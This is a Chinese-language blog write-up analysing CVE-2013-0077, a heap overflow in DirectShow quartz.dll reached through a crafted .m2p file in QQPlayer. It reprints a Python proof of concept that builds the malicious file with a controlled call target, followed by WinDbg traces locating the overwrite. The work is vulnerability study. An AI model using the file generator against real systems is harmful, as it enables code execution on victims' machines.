当gflag不“奏效”——CVE-2013-0077 Microsoft DirectShow quartz.dll m2p文件堆溢出漏洞

作者原文:https://security.tencent.com/index.php/blog/msg/15
这个是漏洞战争里面的例子,搜了一下没人写,自己实践过程中没能像作者那样开启htc,开启hpa后一步到达相应位置,而我开启后没能预期那样,所以写下此文

首先exploitdb搜了一下,poc在下面,软件也给了
https://www.exploit-db.com/exploits/21991/

poc也贴上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
l = 3315716 * "A"
s1 = ((0,'\x00\x00\x01\xba'), (2048, '\x00\x00\x01\xba'),
(3289120, '\x00\x00\x01\xe0\x07'), (3289273, '\x00\x00\x01\xb3'),
(3289283, '\xba'), (3289452, '\x42\x42\x42\x42'),
(3289468, '\x00\x00\x01\x00'), (3290359, '\x00\x00\x01\x00'),
(3301408, '\x00\x00\x01\xe0\x07'), (3303112, '\x00\x00\x01\x00'))
# EAX overwrite(3289452, '\x42\x42\x42\x42') call eax+0x24

o = open("c:\\poc.m2p","wb")
o.write(l)

for i in range(len(s1)):
o.seek(s1[i][0], 0)
o.write(s1[i][1])

o.close()

环境及工具

xp sp3

quartz.dll 版本:6.5.2600.5596

windbg

调试过程

注:其实调试过程中遇到过很多奇葩的异常,没有一一列出

首先对qq播放器开启堆尾检查

1
2
3
C:\Program Files\Debugging Tools for Windows (x86)>gflags.exe -i qqplayer.exe +htc
Current Registry Settings for qqplayer.exe executable are: 00000010
htc - Enable heap tail checking

windbg附加运行,打开文件没异常,应该是quartz.dll版本过高了6.5.2600.6333,换个虚拟机
作者是6.5.2600.5596,发现吾爱破解的虚拟机刚好是这个版本

首先再次确认一下gflag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
0:003> !gflag
Current NtGlobalFlag contents: 0x00000010
htc - Enable heap tail checking
0:003> g
ModLoad: 76d30000 76d48000 C:\WINDOWS\system32\iphlpapi.dll
ModLoad: 719c0000 719fe000 C:\WINDOWS\System32\mswsock.dll
ModLoad: 76ef0000 76f17000 C:\WINDOWS\system32\DNSAPI.dll
ModLoad: 76f80000 76f88000 C:\WINDOWS\System32\winrnr.dll
ModLoad: 76f30000 76f5c000 C:\WINDOWS\system32\WLDAP32.dll
ModLoad: 76f90000 76f96000 C:\WINDOWS\system32\rasadhlp.dll
ModLoad: 5fdd0000 5fe25000 C:\WINDOWS\system32\netapi32.dll
ModLoad: 75c60000 75d00000 C:\WINDOWS\system32\urlmon.dll
ModLoad: 76d70000 76d92000 C:\WINDOWS\system32\Apphelp.dll
ModLoad: 76d30000 76d48000 C:\WINDOWS\system32\iphlpapi.dll
ModLoad: 60fd0000 61025000 C:\WINDOWS\system32\hnetcfg.dll
ModLoad: 71a00000 71a08000 C:\WINDOWS\System32\wshtcpip.dll
ModLoad: 03600000 0367b000 C:\Program Files\Tencent\QQPlayer\MpegSplitter.ax
ModLoad: 03680000 03707000 C:\Program Files\Tencent\QQPlayer\splitter.ax
ModLoad: 032b0000 032c6000 C:\Program Files\Tencent\QQPlayer\mkzlib.dll
ModLoad: 032d0000 032db000 C:\Program Files\Tencent\QQPlayer\mkunicode.dll
ModLoad: 03710000 0373a000 C:\Program Files\Tencent\QQPlayer\mkx.dll
ModLoad: 03f40000 03f6a000 C:\Program Files\Tencent\QQPlayer\ts.dll
ModLoad: 68000000 68036000 C:\WINDOWS\system32\rsaenh.dll
(2f0.7fc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=033a410c ecx=003f8670 edx=000000f7 esi=003f8670 edi=003f867c
eip=7cf9409c esp=024ff690 ebp=024ff6a0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
quartz!CBasePin::ReceiveConnection+0xb0:
7cf9409c ff5024 call dword ptr [eax+24h] ds:0023:41414165=????????
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Tencent\QQPlayer\splitter.ax -

what???怎么跟作者的不一样,查看堆栈也没啥,那我尝试关掉htc看看结果如何,gflag为0,发现异常位置也是不一样

1
2
3
4
5
6
7
8
9
10
11
(4c4.684): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02ad89d4 ebx=02ad9f90 ecx=42414141 edx=00000000 esi=02ad9f78 edi=02ad89c8
eip=7cf8aa00 esp=023ff824 ebp=023ff838 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
quartz!CEnumPins::Next+0x9e:
7cf8aa00 ff5104 call dword ptr [ecx+4] ds:0023:42414145=????????
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Tencent\QQPlayer\QQPlayer.exe -
0:001> !gflag
Current NtGlobalFlag contents: 0x00000000

还有一个,那我们只开hpa情况又会怎么样呢,怎么跟作者什么都没开一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(590.dc4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=012e0000 ecx=41414141 edx=02b589c8 esi=02b589c0 edi=00000003
eip=7c910efe esp=0235f07c ebp=0235f29c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
ntdll!RtlAllocateHeap+0x653:
7c910efe 8b39 mov edi,dword ptr [ecx] ds:0023:41414141=????????
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Tencent\QQPlayer\VSFilter.ax -
*** WARNING: Unable to verify checksum for QQPlayer.exe
*** ERROR: Symbol file could not be found. Defaulted to export symbols for QQPlayer.exe -
0:002> !gflag
Current NtGlobalFlag contents: 0x02000000
hpa - Place heap allocations at ends of pages

那时的我有那么几秒钟是崩溃的,很多时候就是那么几秒钟决定了你是继续下去,还是放弃

那我用最原始的办法,看看汇编下面的eax怎么来的,针对开了

1
7cf9409c ff5024          call    dword ptr [eax+24h]  ds:0023:41414165=????????

在前面的eax赋值地方下个断点

1
2
3
4
5
6
7
8
9
10
11
12
Breakpoint 0 hit
eax=00000009 ebx=032340c4 ecx=03233cb8 edx=000000f7 esi=02b69c20 edi=02b69c2c
eip=7cf94098 esp=024ff690 ebp=024ff6a0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
quartz!CBasePin::ReceiveConnection+0xac:
7cf94098 8b06 mov eax,dword ptr [esi] ds:0023:02b69c20=41414141
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Tencent\QQPlayer\splitter.ax -
0:002> !heap -p -a 02b69c20
address 02b69c20 found in
_HEAP @ 3f0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
02b69c18 4141 0000 [41] 02b69c20 20a07 - (busy)

可以看到这里esi指向的堆的大小等字段被覆盖成4141了,那是什么时候覆盖的呢

我们在前面esi赋值的地方下断点

1
.text:7CF94061                 lea     esi, [edi-0Ch]

我们发现此时还没被覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Breakpoint 0 hit
eax=003f82b0 ebx=036b419c ecx=7ffdd000 edx=003f830c esi=00000000 edi=003f861c
eip=7cf94061 esp=024ff694 ebp=024ff6a0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
quartz!CBasePin::ReceiveConnection+0x55:
7cf94061 8d77f4 lea esi,[edi-0Ch]
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Tencent\QQPlayer\splitter.ax -
0:002> p
eax=003f82b0 ebx=036b419c ecx=7ffdd000 edx=003f830c esi=003f8610 edi=003f861c
eip=7cf94064 esp=024ff694 ebp=024ff6a0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
quartz!CBasePin::ReceiveConnection+0x58:
7cf94064 8b06 mov eax,dword ptr [esi] ds:0023:003f8610={quartz!CMpegVideoInputPin::`vftable' (7cf78b04)}
0:002> dd esi
003f8610 7cf78b04 003f8610 00000000 7cf73ed0
003f8620 7cf730a0 003f8700 00000000 00000000
003f8630 003f830c 00000000 003f82b0 00000000
003f8640 00000001 00000000 00000000 00000000
003f8650 00000000 00000000 00000000 00000000
003f8660 00000000 00000001 00000000 00000001
003f8670 00000000 00000000 00000000 00000000
003f8680 00000000 00000000 00000000 00000000

我们此时可以将003f8610 这个地址放到memory窗口,单步查看什么时候被改变了,你会发现是这里是003f8610 那一片变成了4141…..,跟着f11重新跟入使用同样的方法就行了

1
7cf9407e ff5020          call    dword ptr [eax+20h]  ds:0023:7cf78b24={quartz!CTransformInputPin::CheckMediaType (7cf9de49)}

后来发现这办法太那个了,直接下写入断点就行了,就可以直达了,上面就换乘了

1
2
3
4
5
6
7
8
0:002> ba w1 003f8610  
0:002> g
Breakpoint 1 hit
eax=000000c3 ebx=003f82b0 ecx=00000004 edx=000000f7 esi=0017b8f8 edi=003f8614
eip=7d0706d0 esp=024ff650 ebp=024ff658 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
quartz!ParseSequenceHeader+0x114:
7d0706d0 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

我们看看此时的源地址和目的地址,目的堆块的size已经被覆盖成4141了

1
2
3
4
5
6
7
8
9
10
11
12
0:002> !heap -p -a esi
address 0017b8f8 found in
_HEAP @ 150000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0017b7e0 0027 0000 [05] 0017b7e8 00123 - (busy)


0:002> !heap -p -a edi
address 003f8614 found in
_HEAP @ 3f0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
003f8608 4141 0000 [41] 003f8610 20a07 - (busy)

我们看看edi的前一个堆的位置(随便找个小于003f8608 ,被4141覆盖的就行了),可以看到本来是003f82a8堆块的数据,最后确实是覆盖到了下一个堆003f8608了,htc也没有检查出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
0:002> !heap -p -a 003f8570 
address 003f8570 found in
_HEAP @ 3f0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
003f82a8 006c 0000 [05] 003f82b0 00350 - (busy)
quartz!CMpegVideoCodec::`vftable'

0:002> dd 003f8570 l50
003f8570 41414141 41414141 41414141 41414141
003f8580 41414141 41414141 41414141 41414141
003f8590 41414141 41414141 41414141 41414141
003f85a0 41414141 41414141 41414141 41414141
003f85b0 41414141 41414141 41414141 41414141
003f85c0 41414141 41414141 41414141 41414141
003f85d0 41414141 41414141 41414141 41414141
003f85e0 41414141 41414141 41414141 41414141
003f85f0 41414141 41414141 41414141 41414141
003f8600 41414141 41414141 41414141 41414141
003f8610 41414141 003f8610 00000000 7cf73ed0
003f8620 7cf730a0 003f8700 00000000 00000000
003f8630 003f830c 00000000 003f82b0 00000000
003f8640 00000001 00000000 00000000 00000000
003f8650 00000000 00000000 00000000 00000000
003f8660 00000000 00000001 00000000 00000001
003f8670 00000000 00000000 00000000 00000000
003f8680 00000000 00000000 00000000 00000000
003f8690 00000000 00000000 ffffffff 7fffffff
003f86a0 00000000 3ff00000 7cf74678 00000000

最后说说

之后回到家用自己的电脑又可以了,无语~(但htc还是不行),可能一个细微的差别都会导致调试结果不尽相同,软件版本,系统,还有虚拟机毕竟是虚拟出来的。

1
2
3
4
5
6
7
8
9
10
11
(7c0.1a4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000000c3 ebx=027c8cb0 ecx=00000009 edx=000000f7 esi=14f02fd4 edi=027c9000
eip=7d0706d0 esp=0d90f650 ebp=0d90f658 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
quartz!ParseSequenceHeader+0x114:
7d0706d0 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:001> !gflag
Current NtGlobalFlag contents: 0x02000000
hpa - Place heap allocations at ends of pages
打赏专区